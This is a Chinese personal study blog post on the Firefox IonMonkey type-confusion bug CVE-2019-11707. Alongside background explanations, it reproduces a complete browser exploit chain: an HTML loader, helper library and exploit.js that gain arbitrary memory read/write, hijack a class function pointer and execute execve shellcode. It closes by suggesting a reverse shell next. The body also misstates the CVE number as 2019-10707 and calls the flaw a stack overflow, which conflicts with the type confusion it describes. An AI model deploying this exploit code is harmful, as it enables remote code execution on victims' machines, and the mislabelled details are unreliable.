CVE2019-11707 学习

vstral 最后更新于 2024-11-25 3 次阅读 预计阅读时间:


本文纯自己学习,内容比较碎,属于记录作用。师傅们勿喷

学习内容:CVE 2019 - 10707

参考文献:

  1. https://vigneshsrao.github.io/posts/writeup/
  2. https://www.anquanke.com/post/id/206558#h2-0
  3. https://xz.aliyun.com/t/6054?time__1311=n4%2BxnD0DgDcm3x7qGNnmDUxQqhhVeDRAPOrYD

一、前置知识

IonMonkey是什么?

IonMonkey是Mozilla的新JavaScript编译器(JIT:Javascript just in time),是为了优化SpiderMonkey JavaScript 引擎。新优化方法包括类型特殊,内联函数,线性扫描寄存器分配算法,无效代码删除,循环不变量移动等。

Prototypes是什么?

prototypes是Javascript实现继承的方式,它允许各种对象之间共享属性和方法,每个对象都有一个原型对象(prototype),原型对象也可以有原型对象,形成一个原型链(prototype chain)。通过这种方式,一个对象可以继承其原型链上所有对象的属性和方法

Arrayprototype是什么?

Array.prototype是JavaScript中所有数组对象的原型对象,通过Array.prototype,数组可以继承许多内置的方法,如push,pop,shsift,unshift等方法

继承和原型链是什么?

继承是让一个对象可以从另一个对象或类中继承属性和方法,而无需重新定义。在Javascript中,继承是通过原型链实现

个人理解继承就是让一个对象能够使用或共享另一个对象的属性或方法。本质上通过原型链来实现关联。继承与简单调用的区别就是继承是对象之间建立了隐式关联,调用方法时并不需要显式调用

内联缓存是什么?

内联缓存时一种优化技术,用于保存先前查到的结果,以便下次进行相同查找时直接使用保存值,从而优化。

内联是指将常用的函数调用替换为直接的代码逻辑。例如在

let arr = [1, 2, 3];
arr.pop();
arr.push(4);
arr.slice(1, 2);

当这些方法被频繁调用时,引擎会将它们的逻辑直接嵌入到生成的机器代码中,而不是以函数调用的形式

Array.pop是什么?

array.pop是JavaScript数组上的一个方法,用于移除数组最后一个元素并返回该元素,他会修改原数组的长度

Array.prototype.slice是什么?

Array.prototype.slice是JavaScript中数组的一个方法,用于从数组中提取部分元素并返回一个新数组,这个方法不会修改元素组

array.slice(start,end)

ArrayBuffter是什么?

ArrayBuffer 的作用是提供一个底层的二进制数据容器,允许 JavaScript 以不同的视图来访问和操作数据。由于它直接操作内存并支持跨平台的低级操作,攻击者通过访问和修改 ArrayBuffer 中的内存,可以实现 类型混淆内存溢出注入恶意代码 等攻击方式,从而实现 任意代码执行数据篡改

__proto__是什么?

对象__proto__的属性的值就是标识出自己继承的原型

index类型的property是什么?

  1. 属性名时非负整数的字符串表示
  2. 属性名是实际的数字索引

JSClass是什么?

JSClass 是 JavaScript 中用于创建对象的模板。它定义了对象的属性和方法,并通过构造函数初始化对象。JSClass 允许在对象之间共享属性和方法,实现继承和代码复用。

二、漏洞基本信息

CVE ID:CVE-2019-10707

漏洞类型:栈溢出

漏洞主要内容:IonMonkey没有检查当前元素prototypes上的索引元素,只检查了ArrayPrototype。内联Array.pop之后,会导致类型混乱。

在本漏洞中,我们可以通过混淆一个Uint32Array和Uint8Array来获取ArayBuffer中溢出并转化为任意读写并执行

(注意Uint32Array和Uint8Array都是JavaScript中的类型化数组,分别表示32位无符号整数数组(每个元素4字节)和8位整数数组(每个元素1字节))

主要攻击思路:

利用Uint32Array和Uint8Array的混淆使得能够访问和修改ArrayBuffer中的内存,从而将shellcode写入到内存中,最终触发任意代码执行

  1. 构建类型混淆
  2. 通过栈溢出写入恶意代码
  3. 执行恶意代码

学习崩溃实例:

// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
    if (v4.length == 0) {
        v4[3] = {a: 5};
    }

    // pop the last value. IonMonkey will, based on inferred types, conclude that the result
    // will always be an object, which is untrue when  p[0] is fetched here.
    const v11 = v4.pop();

    // Then if will crash here when dereferencing a controlled double value as pointer.
    v11.a;

    // Force JIT compilation.
    for (let v15 = 0; v15 < 10000; v15++) {}
}

var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;

for (let v31 = 0; v31 < 1000; v31++) {
    v7();
}

首先定义了一个对象数组v4,每个对象包含属性a和对应值

然后创建了一个p数组,使用对象初始化,并且将p[0]设置为了一个浮点数。然后设置v4的prototype设置为p,但此时类型推理机制并没哟发现。

在v7函数中,首先判断v4数组是否为空,如果为空,则设第四个元素为一个对象。后面还利用了多次循环强制IonMonkey使用JIW编译该函数为及时汇编代码。

当Array.pop时,IonMonkey发现数组popl类型与推断类型相同,所以不会错误。然后假定他返回类型始终是对象,然后继续弹出删除

当IonMonkey为编译的是Uint32array而且prototype包含Uint8Arrray对象,将会造成溢出

这是给出的类型数组赋值的代码:

mov    edx,DWORD PTR [rcx+0x28] # rcx contains the starting address of the typed array
cmp    edx,eax
jbe    0x6c488017337
xor    ebx,ebx
cmp    eax,edx
cmovb  ebx,eax
mov    rcx,QWORD PTR [rcx+0x38] # after this rcx contains the underlying buffer
mov    DWORD PTR [rcx+rbx*4],0x80

rcx:指向数组的指针

eax:包含分配的索引

[rcx+0x28]:保持数组大小

检查仅仅确保了索引小于数组大小,但是并没有进行对象检测(因为在IonMonkey编译时删除了类型检查)。所以如果IonMonkey读取一个Uint32Array时读取到Uint8Array时,将会造成溢出问题。

实现溢出的利用代码(aselo的POC):

 // Run with --no-threads for increased reliability
    const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = {a: 5};
        }    
        const v11 = v4.pop();
        // v11 被认为是一个 object
        v11.a;

        // 执行之后会进入 jit
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
    p[0] = -1.8629373288622089e-06;// 0x4141414141414141
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }

通过执行pop使得Arrary.pop进入inline cache。JIT编译时就会去除类型检查,使得v4.pop固定是一个对象。

然后通过 v4[3] = {a: 5};使得v4变成一个稀疏数组,因为v4继承自p数组, p[0] = -1.8629373288622089e-06;,v4[0]没有值,所以v4[0] = -1.8629373288622089e-06。而此时JIT仍然认为是一个object类型,所以当执行到v11.a是就会非法访问内存而crash

再次回到vigneshsrao的利用Uint8Array和Uint32Array这儿两个对象构建混淆

buf=[];
for(let i=0;i<0x10;i++)
        buf.push(new ArrayBuffer(0x60));
var abuf = buf[5];
var e=new Uint32Array(abuf);
e[0]=0x61626364;
e[1]=0x31323334;
const arr = [e,e,e,e,e];
function vuln(a1){
        if(arr.length==0){
                arr[3] = e;
        }
        const v11 =  arr.pop();
        // 修改 下一个 ArrayBuffer 的 size 字段
        v11[a1] = 0x100;
        for(let i =0;i<100000;i++){}

}
p =  [new Uint8Array(abuf),e,e];
arr.__proto__=p;
for(let i=0;i<2000;i++){
        vuln(34);
}

for(let i=0;i<buf.length;i++)
        print(i+' '+ buf[i].byteLength);

选择一个地址来覆盖class_pointer,在这里伪造一个jsclas结构,字段先从原始clas对象泄露出来。只需要确保cOps指向我们在内存中写入的函数指针表

注入shellcode进入内存之中:

buf[7].func = function func() {
  const magic = 4.183559446463817e-216; //方便后期找到函数的开头地址

  const g1 = 1.4501798452584495e-277
  const g2 = 1.4499730218924257e-277
  const g3 = 1.4632559875735264e-277
  const g4 = 1.4364759325952765e-277
  const g5 = 1.450128571490163e-277
      const g6 = 1.4501798485024445e-277
  const g7 = 1.4345589835166586e-277
  const g8 = 1.616527814e-314
}
# 1.4501798452584495e-277 // 方便后期找到函数的开头地址
mov rcx, qword ptr [rcx]
cmp al,al

# 1.4499730218924257e-277
push 0x1000

# 1.4632559875735264e-277
pop rsi
xor rdi,rdi
cmp al,al

# 1.4364759325952765e-277
push 0xfff
pop rdi

# 1.450128571490163e-277
not rdi
nop
nop
nop

# 1.4501798483875178e-277
and rdi, rcx
cmp al, al

# 1.4345589835166586e-277
push 7
pop rdx
push 10
pop rax

# 1.616527814e-314
push rcx
syscall
ret

当获取到了函数1基地址后,就可以使用JSFunction的jitinfo成员泄露JIT指针。然后获取到shellcode的起点地址

至此,就已经取得覆盖目标,shellcode地址,任意地址读写。

攻击原理总结分析

核心关键点:

  1. IonMonkey在一个程序多次执行一个代码段时,为了优化程序性能,就会提前将这部分编译,形成内联缓存。
  2. 当我们使得一个数组的原型链上的类型和本身类型不一样时,由于IonMonkey已经认为这个数组内的类型相同,而且在内联Array.prototype.pop和Array.prototype.push和Array.prototype.slice时,它并不会检查prototype上的元素,只是检查数组原型链Array.prototype上是否存在任何所应元素,如果我们在目标对象和数组原型之间使用中间链,就可以绕过这个类型检测

首先,通过改变数组的原型链,使得数组转变为稀疏数组,构建类型推断混淆,使得IonMonkey误解数组每个元素都严格地是对象,比如Uint32Array占4个字节,但是Uint8Array仅占一个字节,于是构建了一个类型混淆,造成内存溢出,来1.修改ArrayBuffer的长度字段,使得可以写入任意大小的数据,从而实现对下一个索引出metadata的数据泄露。2.通过修改ArrayBuffer的数据指针,使得ArrayBuffer的数据指针指向任意地址,以便读取或写入该地址中的数据。

分析原理中遇到的问题:

1. 越界的访问是如何实现的?

当通过Uint8Array视图对底层ArrayButter创建后,再利用Uint32Array访问,由于U8仅占1字节,U32占4字节,所以通过混淆类型检测,使用U32访问U8创建的时候将会造成越界溢出

2. JsClass中每一个字段的作用?

grp_ptr = read(aa)
jsClass = read_n(grp_ptr,new data("0x30"));

name = jsClass.slice(0,8) //jsclass的名称,是一个指向名称字符串的指针
flags = jsClass.slice(8,16) //jsclass的标志字段,用于存储类的属性和行为标志
cOps = jsClass.slice(16,24) //jsclass的classOps字段,包含了操作函数指针(比如属性的添加、删除)
spec = jsClass.slice(24,32) //包含类的特定规范和配置
ext = jsClass.slice(40,48) //存储额外类信息
oOps = jsClass.slice(56,64) //对象操作的函数指针,如对象的属性访问和修改

3.为什么将函数方位buf[7]之中?

因为前面修改的是buf[6]的长度,可以泄露buf[7]的信息,得到了buf[7]的地址,才能获得它的属性所在的地址

4. shellcode的调用原理

通过调用execve执行/usr/bin/xcalc或者其他的程序来完成系统级调用

三、复现攻击

首先建立一个ubunut1604虚拟机,然后导入firefox

在本机上使用phpenv搭建攻击脚本,然后用虚拟机打开

先复现在ubuntu中打开计算器

浏览器崩溃,弹出计算器:
image.png

攻击代码:

exploit.html


<html>
<body>

<script src="util.js">
</script>

<script src="exploit.js">
</script>

</body>
</html>

util.js

/* Utility Functions */

/* Many of these functions maybe poorly written/implemented as they were
   originally meant for one challenge and I was too lazy to rewrite them properly. :)

   This is a poor copy of saelo's Int64 library which can be found here -
   https://github.com/saelo/jscpwn/blob/master/utils.js
*/

String.prototype.rjust = function rjust(n,chr){
  chr = chr || '0'
  if(this.length>n)
    return this.toString();
  return (chr.repeat(n)+this.toString()).slice(-1*n);
}

String.prototype.ljust = function ljust(n,chr){
  chr = chr || '0'
  if(this.length>n)
    return this.toString();
  return (this.toString()+chr.repeat(n)).slice(0,n);
}

String.prototype.hexdecode = function hexdecode(){
  inp=this.toString();
  if (this.length%2 !=0)
  inp='0'+inp.toString();
  out=[];
  for(var i=0;i<inp.length;i+=2)
  out.push(parseInt(inp.substr(i,2),16));
  return out;
}

function print1(num){
  rep='';
  for(var i=0;i<8;i++){
    rep+=num[i].toString(16).rjust(2);
  }
  console.log("0x"+rep.rjust(16));
  // document.getElementById("demo").innerText += "0x"+rep.rjust(16) + '\n';
}

function data(inp){
  bytes='';
  if ( (typeof inp) == 'string'){
    inp=inp.replace("0x",'');
    inp=inp.rjust(16);
    bytes=new Uint8Array(inp.hexdecode());
  }
  else if (typeof inp == 'number'){
    bytes=new Uint8Array(new Float64Array([inp]).buffer);
    bytes.reverse();
  }
  else if (typeof inp == 'object'){
    bytes=new Uint8Array(8);
    bytes.set(inp);
    bytes.reverse();
  }
  return bytes;
}

function inttod(num){
  num.reverse();
  temp = new Float64Array(num.buffer)[0];
  num.reverse();
  return temp;
}

function dtoint(num){
  int=new Uint32Array(new Float64Array([num]).buffer)
  // console.log(int[1].toString(16)+int[0].toString(16));
  return int;
}

function RS(inp,amt){
    amt = amt || 1;
    num='';
    for(var i=0;i<8;i++){
      num+=inp[i].toString(2).rjust(8);
    }
    num=num.slice(0,-1*amt);
    num=num.rjust(64);
    num=parseInt(num,2).toString(16).rjust(16);
    for(var i=0,j=0;i<num.length;i+=2,j++){
      inp[j]=parseInt(num.substr(i,2),16);
    }
    return inp;
}

function LS(inp,amt){
    amt = amt || 1;
    num='';
    for(var i=0;i<8;i++){
      num+=inp[i].toString(2).rjust(8);
    }
    num=num.slice(amt);
    num=num.ljust(64);
    num=parseInt(num,2).toString(16).rjust(16);
    for(var i=0,j=0;i<num.length;i+=2,j++){
      inp[j]=parseInt(num.substr(i,2),16);
    }
    return inp;
}

function sub(inp1,inp2){
    carry=0;
    for(var i=inp1.length-1;i>=0;i--){
        diff=inp1[i]-inp2[i]-carry;
        carry=diff<0|0;
        inp1[i]=diff;
    }
    return inp1;
}

function add(inp1,inp2){
    carry=0;
    for(var i=inp1.length-1;i>=0;i--){
        sum=inp1[i]+inp2[i]+carry;
        carry=sum/0x100;
        inp1[i]=(sum%0x100);
    }
    return inp1;
}

/* Utility functions end */

exploit.js

/* exploit code start */

buf = []

/* okay, addition of this for loop somehow led to the bug not getting triggered
   Pushing stuff manually into the buf array works fine.
   I am not quite sure why this is happening and would be glad if someone can
   explain why this happens
*/

// for(var i=0;i<100;i++)
// {
//   buf.push(new ArrayBuffer(0x20));
// }

buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));

var abuf = buf[5];

var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];

/* funtion that will trigger the bug*/

function vuln(a1) {

    /*

    If the length of the array becomes zero then we set the third element of
    the array thus converting it into a sparse array without changing the
    type of the array elements. Thus spidermonkey's Type Inference System does
    not insert a type barrier.

    */

    if (arr.length == 0) {
        arr[3] = e;
    }

    const v11 = arr.pop();

    /*

    The length of the buffer is only 8, but we are trying to add to the index
    at 18. This will not work, but no error will be thrown either.

    When the array returned by array.pop is a Uint8Array instead of a Uint32Array,
    then the size of that array is 0x20 and the index that we are trying to write
    to, i.e 18, is less than that. But keep in mind that Ion still thinks that
    this array is a Uint32Array and treats each element as a DWORD, thus resulting
    in an overflow into the metadata of the following ArrayBuffer.

    Here we are overwriting the size field of the following ArrayBuffer with a large
    size, thus leading to an overflow in the data buffer of the following ArrayBuffer
    i.e buf[6]

    */
    v11[a1] = 0x80

    for (let v15 = 0; v15 < 100000; v15++) {} // JIT compile this function
}

/*

  Add a prototype to the arr arrray prototype chain and set the zero'th
  element as a Uint8Array to trigger the type confussion

*/

p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    vuln(18);
}

/*

  Now the size of the ArrayBufffer which is located at the sixth index is 0x80
  whereas it's data buffer is only 0x20.

  We use this overflow to completly control the ArrayBuffer at the 7th index

*/

leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);

/*

  Now leak the contents of buf[7] to obtain leaks for a Uint Array, and an
  ArrayBuffer

*/

leak = aa.slice(0x50,0x58); // start of the Uint array
group = aa.slice(0x40,0x48); // start of the array buffer
slots = aa.slice(0x40,0x48);
leak.reverse()
group.reverse()
slots.reverse()

/*
   Since the pointer to the start of the data buffer is right shifted, we first
   need to left shift it.
*/

LS(group)
LS(slots)

/* remove the type tag */
leak[0]=0
leak[1]=0

/* Get to the data buffer of the Uint array */
add(leak,new data("0x38"))
RS(leak)
leak.reverse()

/*
  Set the data pointer of buf[7] using the overflow in buf[6]
  We set this pointer to point to the the address of the data pointer field of
  the Unit that we leaked.

  Thus next time a view is created using this modified ArrayBuffer, it's data pointer
  will point to the data pointer of the Uint array! So when we write something to
  this view, then the data pointer of the leaked Uint array will be overwritten.

  So we now have the power to control the data pointer a Uint array. Thus we can
  leak from any address we want and write to any address just by overwritting the
  data pointer of the Uint Array and viewing/writing to the Uint array.

  Thus we now effectively have an arbitrary read-write primitive!
*/

for (var i=0;i<leak.length;i++)
  aa[0x40+i] = leak[i]

leak.reverse()
LS(leak)
sub(leak,new data("0x10"))
leak.reverse()

changer = new Uint8Array(buf[7])

function write(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}

function read(addr){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker.slice(0,8)
}

function read_n(addr, n){
    write(leak,n)
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker
}

sub(group,new data("0x40")) // this now points to the group member
sub(slots,new data("0x30")) // this now points to the slots member
print1(group)
print1(slots)
group.reverse()
slots.reverse()

aa = read(group) // aa now contains the group pointer
aa.reverse()
print1(aa)
aa.reverse()

grp_ptr = read(aa) // grp_ptr is now the clasp_ pointer
grp_ptr.reverse()
print1(grp_ptr)
grp_ptr.reverse()

/* stager shellode */
buf[7].func = function func() {
  const magic = 4.183559446463817e-216;

  const g1 = 1.4501798452584495e-277
  const g2 = 1.4499730218924257e-277
  const g3 = 1.4632559875735264e-277
  const g4 = 1.4364759325952765e-277
  const g5 = 1.450128571490163e-277
  const g6 = 1.4501798485024445e-277
  const g7 = 1.4345589835166586e-277
  const g8 = 1.616527814e-314
}

/* JIT compile the shellcode */
for (i=0;i<100000;i++) buf[7].func()

/* get the address of the executable region where Ion code is located */

slots_ptr = read(slots)
slots_ptr.reverse()
print1(slots_ptr)
slots_ptr.reverse()

func_ptr = read(slots_ptr)
func_ptr[6]=0
func_ptr[7]=0
func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()

func_ptr.reverse()

add(func_ptr,new data("0x30"))
func_ptr.reverse()

func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()

jit_ptr=read(func_ptr);
jit_ptr.reverse()
print1(jit_ptr)
jit_ptr.reverse()

jitaddr = read(jit_ptr);

/*
  Find the address of the shellcode in the executable page.
  We go back one page and then search 2 pages from there2
*/

jitaddr[0]=0
jitaddr[1]=jitaddr[1] & 0xf0

jitaddr.reverse()
print1(jitaddr)
jitaddr.reverse()

jitaddr.reverse()
sub(jitaddr,new data("0xff0"))
jitaddr.reverse()

for(j=0;j<3;j++){
  asdf = read_n(jitaddr,new data("0xff0"))
  offset=-1;
  for (var i =0;i<0xff0;i++)
  {
    if (asdf[i]==0x37 && asdf[i+1]==0x13 && asdf[i+2]==0x37 && asdf[i+3]==0x13 && asdf[i+4]==0x37 && asdf[i+5]==0x13 && asdf[i+6]==0x37 && asdf[i+7]==0x13){
      offset=i;
      break
    }
  }

  /* we found the shellcode */
  if(offset!=-1)
    break

  jitaddr.reverse()
  add(jitaddr,new data("0xff0"))
  jitaddr.reverse()
}

offset = offset+8+6 // add the offset of the magic constant and also the mov instruction
jitaddr.reverse()
add(jitaddr,new data(offset.toString(16)))
jitaddr.reverse()
console.log(offset);

/* JS Class object */
jsClass = read_n(grp_ptr,new data("0x30"));

name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)

group.reverse()
add(group,new data("0x60"))
group.reverse()

eight = new data("0x8")

function addEight()
{
  group.reverse()
  add(group,eight)
  group.reverse()
}

/* Lol, can I get more lazier :).... */
function write1(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    // value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}

/* We will be writting our crafted group to this address. So we save it now*/
backingbuffer = group.slice(0,8)

oops = group.slice(0,8)
oops.reverse()
add(oops,new data("0x30"))
oops.reverse()

write1(group,name)
addEight()
write1(group,flags)
addEight()
write1(group,oops)
addEight()
write1(group,spec)
addEight()
write1(group,ext)
addEight()
write1(group,oOps)
addEight()

/* set the addProperty function pointer to our shellcode */
write1(group,jitaddr)

sc_buffer = new Uint8Array(0x1000);
buf[7].asdf=sc_buffer

/* Leak the address of the shellcode UnitArray */
slots_ptr.reverse()
add(slots_ptr,eight)
slots_ptr.reverse()

sc_buffer_addr = read(slots_ptr)
sc_buffer_addr[6]=0
sc_buffer_addr[7]=0

/* Now get to the buffer of the shellcode array */
sc_buffer_addr.reverse()
add(sc_buffer_addr,new data("0x38"))
sc_buffer_addr.reverse()

/* ptr is the pointer to the shellcode (currenty it's rw) */
ptr = read(sc_buffer_addr)

ptr.reverse()
print1(ptr)
ptr.reverse()

/* convert the pointer to the shellcode buffer to float */
ptr.reverse()
ss=inttod(ptr)
ptr.reverse()

/* Shellcode for execve("/usr/bin/xcalc",[],["DISPLAY=:0"]) */
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 87, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]

/* Copy the shellcode to the shellcode buffer */
for(var i=0;i<sc.length;i++)
  sc_buffer[i]=sc[i]

write1(aa,backingbuffer)

/*
  call the addProperty function pointer
  the pointer to the shellcode buffer (sss) is present in rcx
*/
buf[7].jjj=ss

有了此处的攻击基础,就可以使用反弹shell使得可以远程控制目标系统

备忘:

https://xz.aliyun.com/t/9488?time__1311=n4%2BxnD0Du0YGq0KYGNnmDUrxmrx2b7NeH4D&u_atoken=7e22dd874fc08fa580a51779efc6b79c&u_asig=0a47315217324298502665466e003f

此作者没有提供个人介绍
最后更新于 2024-11-25